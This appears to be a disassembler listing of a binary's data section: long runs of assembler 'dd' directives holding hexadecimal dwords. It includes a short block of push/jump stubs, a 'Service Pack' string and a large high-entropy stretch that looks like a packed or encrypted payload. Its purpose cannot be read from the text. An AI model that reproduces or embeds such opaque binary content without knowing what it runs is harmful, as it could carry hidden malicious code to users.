		dd 38AE29B0h, 60000000h, 64000000h, 2 dup(0)
		dd 4000000h, 94000000h,	5000000h, 1000000h, 28000000h
		dd 200000Ah, 53000000h,	69767265h, 50206563h, 206B6361h
		dd 32h,	21h dup(0)
		dd 1FA3E900h, 0A9680000h, 0E907D482h, 0FFFCFE20h, 0D4838968h
		dd 0FE16E907h, 8768FFFCh, 0E907D484h, 0FFFCFE0Ch, 0D4854468h
		dd 0FE02E907h, 268FFFCh, 0E907D486h, 0FFFCFDF8h, 0D486C368h
		dd 0FDEEE907h, 0C168FFFCh, 0E907D487h, 0FFFCFDE4h, 0D4888668h
		dd 0FDDAE907h, 7868FFFCh, 0E907D48Ch, 0FFFCFDD0h, 0D48D0268h
		dd 0FDC6E907h, 0D68FFFCh, 0E907D48Eh, 0FFFCFDBCh, 0D490DC68h
		dd 0FDB2E907h, 0C968FFFCh, 0E907D494h, 0FFFCFDA8h, 0D4979668h
		dd 0FD9EE907h, 1E68FFFCh, 0E907D499h, 0FFFCFD94h, 0D4998168h
		dd 0FD8AE907h, 0EE68FFFCh, 0E907D499h, 0FFFCFD80h, 0D49A3968h
		dd 0FD76E907h, 0FB68FFFCh, 0E907D49Bh, 0FFFCFD6Ch, 0D49CE468h
		dd 0FD62E907h, 8F68FFFCh, 0E907D49Eh, 0FFFCFD58h, 0CC5987F7h
		dd 0BA47A5DFh, 0A936C8CDh, 921FDDBCh, 7E0BE5A5h, 0B0D2DAC3h
		dd 0DBBEAB38h, 0EEAB9825h, 0F6968310h, 0DFCB6DFAh, 0FD364B22h
		dd 0B3917919h, 9A543522h, 2C7E1E0Bh, 14F9906Ch,	9F8B6927h
		dd 2C19D7B2h, 73008F6Dh, 9CFEB5E5h, 51E87F64h, 0E8C6A865h
		dd 67FE19F9h, 0E8A4C582h, 883319F9h, 66971899h,	5E46419Eh
		dd 5A000000h, 0E0BCB16Eh, 710819F9h, 5BEA0684h,	0EF12807Dh
		dd 5CB31703h, 0C75E748Ch, 0B9F9B645h, 0B19F9FAh, 0A1867A1Eh
		dd 0A28E730Ah, 32CCC9B6h, 74F9B64Dh, 819F9FAh, 35CC718Fh
		dd 0FA80E9A6h, 6B5719F9h, 9C4D3407h, 705D6EA6h,	9C47D612h
		dd 0BD832C6Dh, 0F55A419Eh, 6E000000h, 57E60081h, 85632179h
		dd 2D50B4A0h, 0B1638537h, 0D6B4A130h, 56422E1Ah, 2918D499h
		dd 9C59F012h, 122918D1h, 6D12E8ABh, 756247D6h, 0EDD917h
		dd 0EC836884h, 0D8B785Dh, 7A562EFh, 7512291Dh, 604CD917h
		dd 1CB6B774h, 0AC71229h, 12291C63h, 8E25CA61h, 767212FFh
		dd 72970391h, 0EEAD9A86h, 7AC48110h, 4A19FA30h,	0D9C6385Dh
		dd 0C45B40BEh, 6012A02Dh, 1A319581h, 0EE8A927h,	3C6952AAh
		dd 307E9954h, 4DDC73F6h, 9A117561h, 5DB07216h, 8A8F4CDBh
		dd 3A21CE4Dh, 67CBB7A3h, 9EB8EED0h, 9F685DAh, 0F6E26F89h
		dd 0DE6D8B09h, 0A35791F1h, 0FEBC1D51h, 0A732AA8Fh, 7800001Ch
		dd 604DDA06h, 4E3BC824h, 3D2AB749h, 2613A05Eh, 44FF8C64h
		dd 0B9375359h, 0A6443F2Ch, 916F2C19h, 7B791704h, 0A3604CEEh
		dd 19FD36CAh, 213412FAh, 0DFA8761h, 6E4718Fh, 3EF1280h
		dd 0F9DD6C46h, 77F45819h, 0F0674FBCh, 0D390750Ch, 19F9C396h
		dd 2B685541h, 45DC1A77h, 9B1C0BB6h, 419E4514h, 0B3C9h
		dd 6321EB00h, 0D7B3A085h, 35773419h, 481228B9h,	0DFC43A5Bh
		dd 0C05791F2h, 0AA39B7D3h, 9421DFBDh, 763C44A8h, 3F3DEF16h
		dd 2907EB82h, 0AB42D912h, 3D22DEBEh, 6A2A17A6h,	6F1BA98Eh
		dd 7F57835h, 38CF1229h,	46F8B5A1h, 7E19FA1Bh, 0DECC5AE7h
		dd 87D90F6Eh, 0A48C0244h, 52522E56h, 0F7E37A11h, 0CE54CE3Ah
		dd 735FF621h, 5FEC0486h, 24D81072h, 0FEBC85AEh,	0C7DD553Ah
		dd 9800001Bh, 806DFAE6h, 6E5BE804h, 5D4AD729h, 4633C03Eh
		dd 641FAC44h, 0D9177339h, 0C6245F4Ch, 0B14F4C39h, 9B593724h
		dd 0C3806C0Eh, 19FD37AAh, 2154321Ah, 0DFA8761h,	6E4718Fh
		dd 0A0856321h, 2DCBC7B4h, 3522B148h, 0E6874457h, 971228B4h
		dd 28B493DAh, 0F59A3112h, 5D3AC75Eh, 0FB1E8C4Ch, 5236230Fh
		dd 0B48CE19Eh, 0A1381228h, 0B5692612h, 0C819F9E6h, 0A8EABEDBh
		dd 3DD46B50h, 18D5C158h, 19F9E755h, 0A449D86Fh,	7AEBA80Dh
		dd 61D68855h, 0B12C0331h, 7C0E5F1Ch, 1FB6D688h,	0C3FBDEBBh
		dd 6754402Ch, 823FCE2Ch, 0DE58EAB0h, 2D917D14h,	79430C53h
		dd 0B2972679h, 0A7937624h, 8F1EDABAh, 8B84E6A3h, 0CF9E62Ah
		dd 3FE47389h, 23BA3652h, 0DF8E4B37h, 0E5E62A8Bh, 0C620614Eh
		dd 3E5E4B37h, 772D6C2h,	89809F98h, 9865E145h, 6B862661h
		dd 22624FDCh, 0C8B212C6h, 4D322518h, 1AC9D5h, 0FCE49A00h
		dd 0EA06826Fh, 0D917705Dh, 0C2205F4Ch, 0AE4A4835h, 75376621h
		dd 614EDB15h, 4E3BC826h, 3926B34Dh, 6E109D5Bh, 38A8C582h
		dd 341C19FDh, 2F632156h, 0ED803D50h, 0D71228B4h, 2DC4A940h
		dd 0C1A64240h, 20AE932Ah, 0E6A38F72h, 19F9CEFCh, 0C7A431C8h
		dd 6180F246h, 66B875h, 0C75E21CBh, 5F4BA562h, 0E290E97Ch
		dd 3A2713FFh, 5411A058h, 0F14D7BDEh, 7E6A4FE6h,	0E7A2F691h
		dd 0F68D2409h, 48A9D967h, 0C784705Ch, 0F14D7BA6h, 0ADB9D55Fh
		dd 0EA8F00D2h, 812C41FEh, 198F14Dh, 4C1EDB6Ah, 31F91EBCh
		dd 1EAD4344h, 9F6E279h,	0F3E06D8Bh, 33A35795h, 0A517EF22h
		dd 1A0C48C0h, 0A1DD0000h, 0C3C5B23Fh, 0D2B3A02Dh, 0E3A28F1Ch
		dd 0F8B7805h, 0F4A964F1h, 9926C2C0h, 8613E9ACh,	71FEF899h
		dd 5BE80484h, 5D10CDB9h, 6719FD3Ah, 6321A17Fh, 6012A085h
		dd 4AD89581h, 7A19F9C8h, 857956E3h, 0B0484A37h,	2E79321h
		dd 0F9C55916h, 68FF21CAh, 692A1703h, 7E1A28Fh, 3FFC8B22h
		dd 0BE73B27Ch, 0E2CE335Fh, 44D00D25h, 3420B7C6h, 0ED6495D0h
		dd 0FF63CB3Eh, 0FA82E04Ah, 2D12A1B0h, 0D9B8F39Fh, 89F361Bh
		dd 93512F1Ch, 0C82C1804h, 94727158h, 0B370FFB5h, 0CE16BEB7h
		dd 9D8A760Dh, 281501FFh, 7401906Ch, 0CEC12488h,	5FFCBAC1h
		dd 47A5E3D0h, 0F7361993h, 6AE2C74Ah, 194Eh, 0F4817F1Fh
		dd 0E26F8D07h, 0D15E90F5h, 0BA47A5E4h, 0A633CDCDh, 98FAB2EBh
		dd 0A3E6D360h, 0B6D3C04Dh, 0DEBEAB38h, 7F39522h, 0FD3B234Ah
		dd 0DBB9A119h, 0A0856321h, 29B46012h, 0E6570987h, 0B732E84Ch
		dd 48399B9Ch, 2608C5B1h, 9E19FAAEh, 7D9D7A07h, 402CCDBDh
		dd 0CBDF9B83h, 97F5E221h, 4EDD7459h, 0F0AD12A9h, 1F0E9463h
		dd 0FBE70A78h, 0DFB1F43Eh, 5439D026h, 23E0D4C6h, 26DFB24Ah
		dd 9CD18E7Ah, 2826DFB1h, 7763FA91h, 0B0ECB0BAh,	6A27142Eh
		dd 7910A78Ch, 0AFE0A08Dh, 0EC6706C3h, 0C65D2EB0h, 0B0EC6409h
		dd 32C9602Eh, 5488E246h, 26A97D06h, 7F1D0A97h, 0C62DCD81h
		dd 12F7ED91h, 188D9Ah, 0C0205E00h, 0AE424633h, 9D533421h
		dd 86642310h, 728E0CF9h, 41732AE5h, 2D1AA741h, 1A07946Ah
		dd 5F27F79h, 3ADC6987h,	3ADC914Eh, 0E819FDh, 85632122h
		dd 816012A0h, 0DFBCA995h, 21D59221h, 5C19F9E6h,	0EDD2106Fh
		dd 0D1688400h, 0D0B09D42h, 13F07D14h, 0AD4C3EFAh, 171A04C1h
		dd 13AA21CBh, 0E39F1AEh, 5844B594h, 7EBB24F4h, 33F01BB3h
		dd 0B594663Ah, 8CE19E8Ah, 38B59465h, 7A1D0AA1h,	79089F84h
		dd 8304BFEBh, 86EAD66Dh, 61D550F1h, 0C8AE1292h,	1A21CEC4h
		dd 9B877302h, 2E13EDAEh, 0EEAAA97h, 8170C27Fh, 6754BD65h
		dd 50E7CC2Ah, 5446D4B9h, 0F0DDC9B5h, 0D86F5490h, 0BCDE8C49h
		dd 4FE6C536h, 3EB1FF63h, 8A9C481h, 841BC537h, 9862F320h
		dd 0CD311D09h, 43D2BB82h, 0F7F192AAh, 55E47B12h, 3FCC2868h
		dd 0A4613252h, 0C53716C9h, 19CD64FBh, 42174783h, 8F047C61h
		dd 60000017h, 4835C23Eh, 3623B04Ch, 25129F51h, 0EFB8866h
		dd 2CE7748Ch, 0A15F3B71h, 8E6C2714h, 79771401h,	6381FFECh
		dd 8B4834D6h, 19FD3BE2h, 211CFAE2h, 12A08563h, 0A9958160h
		dd 28B481ECh, 1DAC4312h, 349E7431h, 8F2619FDh, 73FAB7A3h
		dd 5119FD34h, 841456BAh, 17F9A72h, 0FB998672h, 4AB370FDh
		dd 9119FD4Ah, 0B7FD32E6h, 2B2376D9h, 0BCA15F3Eh, 14018E25h
		dd 5DEB7874h, 0DF11762Dh, 83705C48h, 6D04E907h,	5F121DEh
		dd 3CD321D2h, 0CB216350h
		dd 64B22DFh, 0E27921D2h, 1E7A6753h, 2C6855E2h, 4080E4D0h
		dd 0CB257A3Bh, 0E09E3B91h, 18126B7Ch, 0D9B7A489h, 972EC0C5h
		dd 0B054ABE3h, 0B0280DFEh, 16CAh, 70FDE39Bh, 5EEB0183h
		dd 4DDA1471h, 36C32160h, 22AF4949h, 1C7E3667h, 2F6A57E4h
		dd 3A5744D1h, 42422FBCh, 8B7719A6h, 0FD3C9FCEh,	5F3D2519h
		dd 0F8991280h, 8F7B67FEh, 2308E0A2h, 89F5136h, 3456BC79h
		dd 0D76E19FDh, 7312FFEBh, 6AF99075h, 0F5E11F7Dh, 817F1C09h
		dd 2548059Ch, 9F19FD34h, 831AD6B2h, 0AED967F4h,	0DB9E5B47h
		dd 0E919FD33h, 94816D52h, 397B2DF6h, 43381E5Bh,	0A601DACh
		dd 0CD19FD8Ch, 8A95F4E1h, 5694D53Ah, 8166FD8Eh,	659BFDEAh
		dd 0AF5AE980h, 0BADDCA40h, 0DCC85F44h, 0FD394E1Fh, 50DF7619h
		dd 0A1B5D6D9h, 620741h,	80290000h, 9E02EE15h, 245C2B7Ah
		dd 0E0CC5BE5h, 17E90F4h, 8CD4D758h, 0B53140FDh,	0FC931228h
		dd 0B50F5A17h, 1DC81228h, 3202ADEEh, 31DB39CDh,	0EF000000h
		dd 8F40478Bh, 3FCE4629h, 0B5195161h, 0D0C21228h, 0C6884531h
		dd 0FE19F9D3h, 0D4185512h, 15AC19F9h, 0D4016C29h, 2CC319F9h
		dd 0DBBCA995h, 2B099625h, 99573522h, 0EB0E7C0Ah, 0C64042FFh
		dd 0ED8419F9h, 7F7D1B08h, 0CE4A693h, 0F483611Fh, 0DE1A7A67h
		dd 3AE8EF2h, 0E02F3B28h, 37F6C51h, 0E99400E5h, 6785033Ah
		dd 51AFEDDAh, 0F7ACDE6Ch, 0DDC9609Eh, 0CB4D5A20h, 46D36A21h
		dd 0D8BD3B59h, 1F4711Bh, 32E18C9Ah, 0D25F9DFBh,	6449A7E5h
		dd 0AC0D1877h, 576528A9h, 15BEA33Ah, 484BB6Ah, 2E6E5BE8h
		dd 9EF9E6D2h, 5EECD160h, 6753002Ch, 3666696Bh, 5CF6B39Fh
		dd 68A1D372h, 9AF8E5D1h, 1D964191h, 0D66D8AB4h,	3ECB5AF1h
		dd 0C9B53351h, 5F44B8DCh, 675439C8h, 0FCE9CE2Ch, 77750F9Bh
		dd 8A0EFBE0h, 0DFA9176h, 1F8B708Eh, 78E48574h, 0A9E75ECDh
		dd 0B3D1BE4Bh, 0D0C25035h, 0F5594531h, 0BDA0BF04h, 73890C43h
		dd 96904DDCh, 2EA9A461h, 7F1D0A97h, 0EDA89581h,	4932A0Fh
		dd 6207621Fh, 2D19B9A4h, 0C1A64240h, 1F09B2Ah, 0E16E8A0Ah
		dd 745997F4h, 8ED0B87h,	9B807E1Bh, 9DABB537h, 0E2CFF912h
		dd 0F46045A3h, 41ECDA49h, 972651A4h, 3C28B44Bh,	0D2B7354Fh
		dd 0BCC0DA6Eh, 1FB614C9h, 11B021BBh, 0A635448Ch, 74150CFBh
		dd 0E7A18E7Ah, 0ED7A09h, 93806583h, 0C00A29F4h,	3FE00F02h
		dd 0A3D3EB82h, 0AB42D9B9h, 4126DABEh, 0C22E13AAh, 0C04B72D6h
		dd 0EE6BA163h, 0CE45B45Fh, 0B9A633CDh, 610CC9D8h, 63B9A45Dh
		dd 645035CCh, 60756600h, 0AC9904F2h, 0F68413E9h, 0BC796584h
		dd 0C17515C6h, 0D98267FEh, 5D49FF2Eh, 7515CDA0h, 0D160F7C1h
		dd 37F4A7E4h, 0C1751636h, 8D2235CFh, 53F89AABh,	689350EFh
		dd 871E4779h, 7A1704F0h, 7360ED7Ch, 5F2D715h, 97846987h
		dd 2815FAF8h, 3BA78C68h, 0EEAA6190h, 0FF962D12h, 0FB9A8773h
		dd 1D8118FDh, 0EBECF708h, 7E29B80Eh, 0E9AC998Fh, 8972E13h
		dd 0F27F7D1Bh, 197A347Bh, 26A9E9h, 0D1BD0000h, 74ED5914h
		dd 197E6BC1h, 0D46B02E7h, 60216745h, 6713A186h,	61D99682h
		dd 6319F9E2h, 3DC73FCCh, 0E9000000h, 0F4793622h, 0D01228B4h
		dd 6BF2D539h, 7BE5D0D2h, 0E82FFECh, 0F6DB728Eh,	0EBD73A68h
		dd 0FACB302Eh, 0EE94D19h, 609EFDAAh, 83A61CFCh,	25624FF4h
		dd 0BBA734CBh, 0BEDCCECEh, 3E1CAB42h, 0F4793622h, 0D01228B4h
		dd 40CDAA39h, 7B678AF8h, 0E3A00B8Eh, 1228B48Ah,	270CA33Ah
		dd 58150190h, 19F9E6C6h, 122C9AFEh, 95D00E0Ah, 7A11EFA8h
		dd 1155815h, 0D4C60EADh, 3B5C4935h, 5D49E0C5h, 0AD00CDA0h
		dd 0D160F70Eh, 1E0A28E5h, 23BA167Eh, 1FC2B03Eh,	6E5B4733h
		dd 5518D52Bh, 6F167E1Eh, 4E90782h, 8A47D66Dh, 1E4F58E0h
		dd 74614DE4h, 5E4BD814h, 8A0EC23Eh, 1AFD3F81h, 12D8BD35h
		dd 0F5A90000h, 0F7917E0Bh, 67F6CF9h, 2F6E5BE8h,	3B5744D1h
		dd 287530BDh, 5DEA0684h, 4AD71570h, 35C23C5Dh, 1FAC4848h
		dd 99D4917Dh, 2B19FD40h, 1C516543h, 0BF1228B6h,	0E461D3h
		dd 0E4B5BFE0h, 5EA4614Dh, 6619FA92h, 93F7E3CFh,	0BB0D1835h
		dd 6C59E87Dh, 5844D12Fh, 1B7C286Bh, 0D26900E5h,	0DAC756EDh
		dd 0EF533FB9h, 0CA24188Ch, 250A9924h, 8A475838h, 19FA1EE3h
		dd 5894F4E1h, 0AE45DC73h, 0C84F80FAh, 0BF371CF6h, 124Eh
		dd 0F4817F1Fh, 0E26F8D07h, 0D15E90F5h, 0BA47A5E4h, 0A633CDCDh
		dd 98FAB2EBh, 0A3E6D360h, 0B6D3C04Dh, 0DEBEAB38h, 7F39522h
		dd 0FD42234Ah, 0DBB9A119h, 3EF1280h, 0F9B7BC46h, 85710819h
		dd 7300FC98h, 9EE0286h,	692A7C1Ch, 2713AA8Fh, 0F9B8036Ah
		dd 932AC119h, 175F43A7h, 6553C577h, 0FA75C5A8h,	0D168FF19h
		dd 9B45D42h, 8B61231Ah,	37FB21FEh, 4F3CA140h, 15D2B735h
		dd 19FA7655h, 35EB1AC5h, 75E18C49h, 4CE319FAh, 0E3B4D0BDh
		dd 0FA764726h, 4FE67D19h, 2DEAD6C2h, 19FA7640h,	8200ED84h
		dd 5BEA8166h, 0F1D62A6Eh, 2327A105h, 4586801Fh,	977A28B6h
		dd 4304EEABh, 29C021CEh, 0B430503Dh, 9E5A3A27h,	9A7F2BB9h
		dd 0C17EF1AEh, 0AF4629A2h, 3AB6D6C3h, 24C0C0ADh, 0AE4C4B38h
		dd 4D20DDC9h, 7729A2C2h, 0D5BA49E0h, 0CAB65B47h, 0A0C32666h
		dd 7414FEA5h, 6652E178h, 73F355A9h, 24D86F31h, 0EE521B74h
		dd 430F876Ch, 14000011h, 0FCE9766Ah, 0EAD76498h, 0D9C653ADh
		dd 0C2AF3CBAh, 0E09B28C0h, 5D9BF7BDh, 4AA0E3D0h, 35B3D0BDh
		dd 1FDDBBA8h, 4704F092h, 19FD4326h, 51D8B69Eh, 1228B525h
		dd 3AEF3A57h, 6C8A09CAh, 0D429CF08h, 7865513Dh,	61F8DD1Bh
		dd 2973C9A4h, 0D564FB12h, 0D3C8BA48h, 0BD5439B7h, 0FA7D3A26h
		dd 0CA19FDF2h, 3D5A4733h, 2EEBD7C3h, 19FDF33Fh,	0D25FEE85h
		dd 2A1897F4h, 3EC53A4Dh, 0E7000001h, 0F4793622h, 0D01228B4h
		dd 681CAA39h, 6522AB89h, 1228B505h, 222E0CA3h, 9985635h
		dd 0B7633F1Dh, 1C188089h, 829AFEB8h, 0C4A23910h, 19806A48h
		dd 0CBA90CEAh, 0CD2A2897h, 51D53Ch, 80F70000h, 220BE918h
		dd 0A7B7D236h, 86EA0686h, 0E2716822h, 295E4525h, 0AE87F12h
		dd 9A543522h, 3BA1EB5h,	0AC4C2B5Fh, 0B8968211h,	9E8A6421h
		dd 0B478F5B2h, 0B54C1228h, 0B29E4826h, 0B46409C6h, 56A11228h
		dd 17642EE3h, 74039A3Fh, 499696h, 80B80000h, 220BE918h
		dd 28B50565h, 0A08C7812h, 28B48AE3h, 0E6A33A12h, 1228B487h
		dd 5617A63Dh, 3522E1BFh, 1F0B9A54h, 5BF8CF33h, 889BE3D0h
		dd 35221BF9h, 1FB69B55h, 0CE2A390h, 9A503320h, 0B18F1EB5h
		dd 0C2C5B29Eh, 97BF9D2Ch, 3CCD2A28h, 5A13D0BCh,	6A0F28B5h
		dd 297144D3h, 93000000h, 0CEA1980h, 0B5056522h,	28BF1228h
		dd 2144224Ah, 0F6773467h, 0CE1228B4h, 22C2A037h, 9985635h
		dd 2496BB99h, 0B8000000h, 0F7941980h, 0E67D14F9h, 5652208h
		dd 0A31228B5h, 44222E0Ch, 0AB896721h, 8E4EB29Eh, 0F497C88Eh
		dd 961FFD8Ch, 0FFFFFEB9h, 0EF1280B8h, 34CC4603h, 61F819FDh
		dd 0EC088875h, 186735Fh, 611E0AEFh, 19FD350Ch, 0FB8A21B8h
		dd 0EFDB3A6Dh, 0FD353B32h, 6F28919h, 9A7F7919h,	0D28F7403h
		dd 19FD349Dh, 0AA608F3Ah, 309A1646h, 14A31DFCh,	0A1A5129Dh
		dd 38CB41h, 51ED0000h, 1228B518h, 3BC82464h, 28B4EC7Eh
		dd 5E83EF12h, 0A4C98672h, 201228B4h, 8DE09D89h,	371228B4h
		dd 682511A0h, 19F9CD0Eh, 0A6921FB6h, 8D1CDAB9h,	0C115h
		dd 35223700h, 0AB414454h
		dd 8BF78514h, 0A8D7A66h, 0E9780FF4h, 0BD5A40FDh, 0D36A19F9h
		dd 5F99FAE7h, 9AF7E4D0h, 0A1E2CF5Ch, 0A6D46247h, 76B5743h
		dd 0D28E3A0h, 8643D204h, 21CE6174h, 0E0CDB950h,	6D5945A3h
		dd 0CE61BDB0h, 781A0721h, 0CD5AE980h, 5D93F4E1h, 61B9B471h
		dd 740B21CEh, 5D9BF8E5h, 59B8EA78h, 0D97AB06Dh,	5E4A29A2h
		dd 0A2D9CCA1h, 15D3B029h, 5DF49930h, 0AFEDDAC6h, 1C786551h
		dd 0D7C451E0h, 2F873BB9h, 81E66300h, 0E74249Ch,	59450000h
		dd 6B2D1AA7h, 7A1B0895h, 8B0AF784h, 97F3E06Dh, 8C11CC59h
		dd 18E6A28h, 0EE7B7114h, 0D9668001h, 0C350ACECh, 0F5783521h
		dd 0CF19FD44h, 632109E7h, 0D5B3A085h, 0FBA63217h, 7977150Ch
		dd 323A75ECh, 51A339CDh, 0B7000000h, 0AC5F0ECBh, 0CE651228h
		dd 0B948A6E1h, 0EF1280DBh, 0D1EC4603h, 41D819F9h, 583705Ch
		dd 0E7D60F1Ah, 0E77EEAD9h, 0EFDC6B02h, 0D9C65391h, 0CA583DBBh
		dd 904D39D8h, 21CAE70Ah, 0E9078673h, 7E6399FCh,	1CB358E7h
		dd 56424330h, 4126BD33h, 0B08E1BAAh, 0FC896721h, 87652310h
		dd 621F0BA2h, 1228B50Bh, 0A69322B9h, 0BE220EE2h, 1F04BAD2h
		dd 10F5842Fh, 6BB9C024h, 8986391h, 66B8BC79h, 0C7C41229h
		dd 5136B4D3h, 33CA2664h, 0BF230F9Ch, 0EB9B32A3h, 7B0998BEh
		dd 12FEEA0Fh, 0A78C6225h, 0C0C48110h, 0BD19FD89h, 4E33B1D0h
		dd 89C8A562h, 65FC19FDh, 39A3FCEh, 3D6D2A17h, 27BEA35Dh
		dd 0FBB8A490h, 19FD8972h, 9F2CBB52h, 2A1897C1h,	0C6C53A4Dh
		dd 0E7000001h, 0F4793622h, 0D01228B4h, 0CB13D539h, 0C5A8D873h
		dd 48FCA836h, 0D996EA34h, 1228B594h, 0D1359930h, 8C23F5BEh
		dd 65BA3883h, 225937CEh, 28B50565h, 0D7B6A312h,	69D3419h
		dd 63442228h, 0B8E7BB7h, 808866F5h, 10FDE918h, 6E47371h
		dd 35226A48h, 1FB69B55h, 6C9B0290h, 32BE228Eh, 7BF9242Eh
		dd 22B93750h, 97502E93h, 3CCD2A28h, 59D5h, 0C885E900h
		dd 0A5830C51h, 22B39120h, 0BBF2BBEh, 0AFED0A5Eh, 9D2BBA51h
		dd 222806E7h, 0B4F47936h, 0A881228h, 23B249EEh,	77E74B37h
		dd 0B25F5F30h, 7D7B1704h, 0B5720198h, 122905B5h, 229A780Fh
		dd 34642144h, 0E7864354h, 0DD1228B4h, 33CAAF46h, 0C09EBE9Ch
		dd 2896h, 1880B800h, 35220BE9h,	0E4894655h, 0E01228B4h
		dd 3723B249h, 28B4F07Ah, 4321B812h, 64214422h, 0D7B19E8Ah
		dd 9EAC8A19h, 2A2897C0h, 7CD53CCDh, 0F7000000h,	0A8951980h
		dd 932A0FEDh, 28B497D6h, 84412D12h, 1228B4E9h, 16AD44DBh
		dd 5652238h, 781228B5h,	9EE0C8Bh, 513EE372h, 3622B937h
		dd 481A6ED2h, 0E473BAACh, 21442206h, 0B09D8967h, 3CD04BD4h
		dd 0A4B0FF00h, 22A07E0Dh, 0B4F47936h, 0A881228h, 0CD7209EEh
		dd 0E08D4A36h, 0E41228B4h, 704EBE4Dh, 8D4A3622h, 1228B4E0h
		dd 0DD904DE4h, 0E71228B4h, 0C96098FAh, 3FC23Ah,	80E40000h
		dd 220CEA19h, 3E5D4A36h, 8744DBC0h, 1228B4E6h, 58FDF396h
		dd 39B7D4C1h, 712EBD54h, 1228B4F9h, 0B4F74BAFh,	0C2F99DDFh
		dd 0A43BB5D5h, 214422C6h, 0F6773467h, 0CE1228B4h, 9EC2A037h
		dd 543522C0h, 311EB59Ah, 8E069553h, 0FFFFFE31h,	0EF1280B0h
		dd 829D9F03h, 0C5FCDC75h, 858D4A36h, 3F19FD48h,	7158BCA8h
		dd 836A5997h, 0A794800Fh, 0F07E0BE9h, 85725E85h, 1A07EC02h
		dd 83E77E7Ah, 0B0CDE4F5h, 0F6E27186h, 0FD823439h, 0E2A39019h
		dd 522DA80Ch, 464E9D25h, 3C5FC3AFh, 0B9694C6h, 0CC9AE3Dh
		dd 19FCFE63h, 595AC974h, 41A17C56h, 2287h, 1851A900h, 641228B5h
		dd 4F3BC824h, 0B4C7A663h, 66FD1228h, 0B4B0BD7Ah, 7D141228h
		dd 0B576EEh, 80980000h,	4603EF12h, 19F9E124h, 0D52B6C59h
		dd 0D3B4A146h, 0AD9A861Dh, 6D00BDECh, 0F19F9E0h, 38CF7472h
		dd 6A2714A1h, 6919A78Ch, 0C4B09C88h, 0F9E06607h, 38C75E19h
		dd 0CE60837Bh, 510EFA21h, 21CE611Ch, 0DD8211A8h, 2C6D5A46h
		dd 3B5845D2h, 7E6DD1BDh, 8EC5637h, 7EE88542h, 45DC21CEh
		dd 0AC3A1FAEh, 722F1BFEh, 29A2F6B8h, 9D89750Ch,	8514D0B0h
		dd 6FFCF898h, 32E60282h, 0E663676Eh, 8759D1B6h,	5800000Ah
		dd 402DBA26h, 2E1BA844h, 1D0A9769h, 6F3807Eh, 24DF6C84h
		dd 99573379h, 86641F0Ch, 718F0CF9h, 5B99F7E4h, 83402CCEh
		dd 19FD48EAh, 2114F2DAh, 0B3A08563h, 3E2B17D5h,	3116A55Bh
		dd 4855B9A5h, 0C8742CA9h, 2F19C2Bh, 0E26F8D0Bh,	728C09F6h
		dd 11436CE3h, 3D9A39CEh, 0BC000000h, 3EF1280h, 0B5135A17h
		dd 1AB11228h, 80E29F8Bh, 4419F9E5h, 0BDDBC8ADh,	0D9C6B23Fh
		dd 0C3B03FB9h, 564227C5h, 41D02E69h, 3622C7B3h,	0CB11F179h
		dd 0E19F8C21h, 0F8871E03h, 512FBC53h, 0FC896721h, 8C622310h
		dd 0C48110A7h, 1228B4B2h, 0BBD9C9CAh, 2D19A63Dh, 0B4E98441h
		dd 44DB1228h, 967B27B5h, 6ED2BEAAh, 32E254F4h, 0D19C5991h
		dd 0F312292Fh, 7F10CD5Ch, 4519FDAFh, 0B0D5C2AEh, 97D3B13Eh
		dd 3A4D2A18h, 115C5h, 0ADECD900h, 80E2C04Fh, 220FED14h
		dd 28B50565h, 200CA312h, 29BB09BCh, 1AA9B9F0h, 4936223Ch
		dd 31C8AD4Bh, 0B763C4A2h, 0E9188089h, 6F5C480Bh, 59F0D513h
		dd 0CCD5E8F5h, 3BCA0ED5h, 0EA19805Dh, 61BE220Ch, 831955B1h
		dd 6A56BB4Ah, 0D6ACC17Eh, 81181228h, 289714F2h,	0D53CCD2Ah
		dd 2Eh,	0E91880F7h, 565220Bh, 0BF1228B5h, 44224A28h, 0C008BE22h
		dd 0AEE0F52Eh, 9B55321Fh, 96C09EBDh, 24h, 0E47446AAh, 0DD33B652h
		dd 1880704Eh, 36220BE9h, 21B04E49h, 28B50664h, 2D0BA212h
		dd 64214422h, 0C09EAC8Ah, 0CD2A2897h, 44D53Ch, 0FCE90000h
		dd 1C510E99h, 0A80F28B5h, 0DEB7A11h, 0CEA1980h,	48493622h
		dd 8621FAEh, 0BC1228B5h, 0B55A13D0h, 0D36A1228h, 44225E3Ch
		dd 0D0533522h, 0B144FC6Ah, 0E2C75EBFh, 0B5CFBC4Bh, 0C09E5937h
		dd 1B96h, 1980B800h, 65220CEAh,	1228B505h, 222E0CA3h, 89672144h
		dd 17D5B09Dh, 0C09EAA88h, 0FFFEE296h, 1280B8FFh, 2A1703EFh
		dd 13AA8F69h, 344BC784h, 157919FDh, 741433B9h, 98FC9378h
		dd 9A0E0FBh, 9450301Dh,	0E70E7907h, 0AF2F3EFBh,	614E19FDh
		dd 9035C422h, 60200DF9h, 79089F84h, 0AE98D794h,	943F19FDh
		dd 2C8B2465h, 105241A2h, 74000000h, 28B51851h, 0C8246412h
		dd 0A6C33Bh, 80E50000h,	4603EF12h, 19F9BBDCh, 786551E8h
		dd 6350DD1Bh, 55E3C826h, 0EBD8C425h, 0D76E53A9h, 0C705C48h
		dd 636C3F6Ah, 0F4B14085h, 21CE700Eh, 31CFC9B6h,	0C0C1AE9Ah
		dd 0C0AD9926h, 0AB9827C5h, 9D2B10EEh, 0C6D4B6EDh, 1982FC1h
		dd 0E7D25815h, 5BF229A2h, 0E602826Fh, 70096D59h, 9E595C76h
		dd 0DEEDF639h, 1EB5188Eh, 6E2A28Fh, 63510052h, 0FF775CE6h
		dd 7BAh, 60ED138Bh, 4EDB1173h, 3DCA2461h, 26B33150h, 129F5939h
		dd 2C6E4657h, 3F5A47D4h, 4A4734C1h, 52321FACh, 7B670996h
		dd 0FD4BAFBEh, 4F2D1519h, 0A0856321h, 2B17D5B3h, 0B533523Fh
		dd 0F17C39D0h, 0D31228B4h, 0B249A7E6h, 31513E23h, 0A5E5D2B7h
		dd 4FFA664Bh, 4733BFA0h, 0B4CF9E5Bh, 5EF51228h,	3EF524CFh
		dd 21604D5Eh, 0B46706C3h, 0C65D1228h, 842BA22Fh, 5939CD36h
		dd 5Dh,	0EF12807Bh, 0C08B9F03h,	0B95ED483h, 66523E2Ah
		dd 292AC4A9h, 0DA690012h, 0FA495D1Dh, 77342019h, 19FA49F6h
		dd 3A837CEh, 0E2797716h, 4A2940FDh, 0C2AE19FAh,	5338B6D5h
		dd 93822DBCh, 294D399Dh
